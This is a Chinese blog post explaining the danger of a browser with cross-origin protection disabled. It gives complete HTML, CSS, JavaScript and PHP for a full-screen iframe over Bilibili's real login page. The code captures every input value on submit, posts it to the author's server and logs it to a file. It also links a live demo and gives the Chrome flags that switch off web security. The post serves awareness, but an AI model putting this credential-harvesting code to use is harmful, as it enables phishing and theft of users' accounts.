一个解除跨域限制的浏览器有多危险

这次我们来看看解除浏览器跨域限制是有多么容易被盗取信息。

最开始遇到跨域的时候,那时候还是一个懵懂的椎风少年。。那时候和一个朋友一起开发一个网站,由于他那时候在深圳,我在上海。利用的是他的云服务器进行开发,结果我前端上怎么都不能获取到他给我的网站返回的信息。查了一堆资料才发现是跨域问题。又找不到解决办法,最后还是用nginx来解决的跨域。。想想还真是凄惨。

_如果还有不了解什么是同源,什么是跨域的,刚好前几天我在简书里看到了一个人发表的文章说的是这个,这里直接甩个链接。想了解的可以去看看。希望那位博主不要打我。
<a target = "blank" href="http://www.jianshu.com/p/beb059c43a8b" >前端必备HTTP技能之同源策略详解</a> ←点击跳转。

这里我们来假设一个环境

  • 首先我们的浏览器是跨域的。
  • 然后我们打开了平时我们经常登录的网站。
  • 由于是我们经常打开的网站,所以也不会太去关注URL,当然也有人根本就不看URL的;
  • 然后网页和我们平时打开的网站没啥区别,没毛病。
  • 最后我们登录自己的账号密码,好了。被盗了。。

当然只要平时电脑玩的多的人,一般都不会上这样的当。所以我们这里的目的只是为了举一个简单的例子来让大家了解一下。还是那句话,遨游在网络的世界,防范的再安全都不为过。

这里来分析一下具体实现

  • 首先我在HTML里面写一个iframe标签,里面嵌套某个网站。这里为了简洁,我们直接用的登录页面。
    • 其实我本来是想用简书的登录页面来实验的。结果简书这网站不让别人用iframe嵌套。绝,真绝了。。
    • 然后我就打开了我敬爱的大B站。因此这里是用的B站的登录页面做示例。
  • 修改iframe的样式,让其铺满整个屏幕,看起来就和原来的网站没有什么区别了。
  • 获取iframe内部的document对象。
  • 有了document对象,我们就能操控登录按钮了,在你点击登录的时候,拿到所有的input标签中的值。
  • 通过AJAX发送到自己的后台代码,然后写入到一个文件里。

代码部分:

  1. HTML

利用iframe导入一个网址即可

      <iframe src="https://passport.bilibili.com/login" frameborder="0" id="iframe"></iframe>

  1. CSS

CSS在这里的目的只是让iframe全屏显示而已。

```
    html,body{
        margin: 0;
        padding: 0;
        height: 100%;
        overflow: hidden;
    }
    iframe{
        width: 100%;
        height: 100%;
    }
3. JS部分
> 主要就是负责获取到iframe中的document对象,然后进行dom操作而已

window.onload = function(){
        // 获取iframe的元素
        var iframeObj = document.querySelector('#iframe');
        var iframeDocument = iframeObj.contentWindow.document;
        // 获取登录按钮的
        var login = iframeDocument.querySelector('input[type=submit]');

        login.onclick = function(){
            // 创建一个空对象
            var info = {};
            // 遍历所有的input标签
            var input = iframeDocument.querySelectorAll('input');
            for (var i = 0; i < input.length; i++) {
                // 将数据放入一个对象中
                info[input[i].name] = input[i].value;
            }
            console.log(info);
            // 现在就有了input里面的所有数据了
            // 这时候发送一个ajax请求给自己的服务器
            // 创建一个异步对象
            var xhr = new XMLHttpRequest();
            // 设置method和url
            xhr.open('post','login.php');
            // 设置content-type
            xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
            
            // 监听状态
            xhr.onreadystatechange = function(){
                //请求完成且找到网站
                if(xhr.readyState == 4 && xhr.status == 200){
                    console.log(xhr.responseText);                      
                } 
            }
            // 发送请求
            xhr.send('info='+JSON.stringify(info));

            // return false;

        }
          //console.log(iframeDocument);
    }
4. PHP部分
> 主要是用来将获取到的文件写入文本中

<?php 
$info = $_POST['info'];
print_r($info);
// 写入文件
file_put_contents('info.txt', $info.PHP_EOL,FILE_APPEND);
echo "ok";

?>



这里给个链接,有兴趣的可以点进去玩玩。
<a target = "_black" href="http://139.199.6.43/copyBILI/login.html" >利用iframe嵌入的BILIBILI的登录页面</a>
<a target = "_black" href="http://139.199.6.43/copyBILI/login.txt" >查看刚刚自己输入的值</a>
或者直接修改url最后的`login.html`为`login.txt`

当然,你的浏览器必须先接触跨域才能这么玩。。
至于解除的办法,chrome浏览器的话,看下图。其他浏览器的话,请自行百度吧。我并没有研究。。。

![解除chrome浏览器的跨域.gif](http://upload-images.jianshu.io/upload_images/3521314-5f414953db1cf872.gif?imageMogr2/auto-orient/strip)

在你的chrome上右键=》属性,然后在目标的最后,敲上一个空格,再把--args --disable-web-security --user-data-dir  这一坨复制上去。

###### *注意:进入浏览器的时候会给你一个提示,告诉你有安全问题,玩完之后记得删掉后面这串。*

例子虽然比较简单,但是应该还是表达出了我想说的。。

#### 结语:
1. 在自己不熟悉浏览器的某些安全机制的时候,不要去随意的改动。
2. 实际开发中,我们不得不面临着需要跨域的时候。解决跨域的方法也有很有,之前提到的那个博主的那篇博文里面都有写。感兴趣的可以去看看,而且跨域问题面试的时候也经常被问到。
3. iframe嵌套进来的网站可以正常运行,登录什么的都没毛病。。要是点网站进去玩的时候,千万记得不要真登录了。。随便敲点数据玩玩就行了。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 198,932评论 5 466
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,554评论 2 375
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 145,894评论 0 328
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,442评论 1 268
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,347评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 47,899评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,325评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,980评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,196评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,163评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,085评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,826评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,389评论 3 302
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,501评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,753评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,171评论 2 344
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,616评论 2 339

推荐阅读更多精彩内容

  • 什么是跨域? 2.) 资源嵌入:、、、等dom标签,还有样式中background:url()、@font-fac...
    电影里的梦i阅读 2,352评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,546评论 18 139
  • 大家好,我是IT修真院郑州分院第一期的学员胡嘉杰,一枚正直纯洁善良的WEB前端程序员。 今天给大家分享一下,修真院...
    ithinker5阅读 490评论 0 1
  • 第一章总则 第一条为了保障食品安全,加强食品生产监管,规范食品生产许可活动,根据《中华人民共和国食品安全法》和其实...
    小好阅读 369评论 0 2
  • 光阴是我们这一生最大的敌人, 我们在它的手掌里暗自神伤, 等着看吧, 总会有那么一天,总会有那么一天, 夺走你的路...
    董之尧阅读 152评论 5 0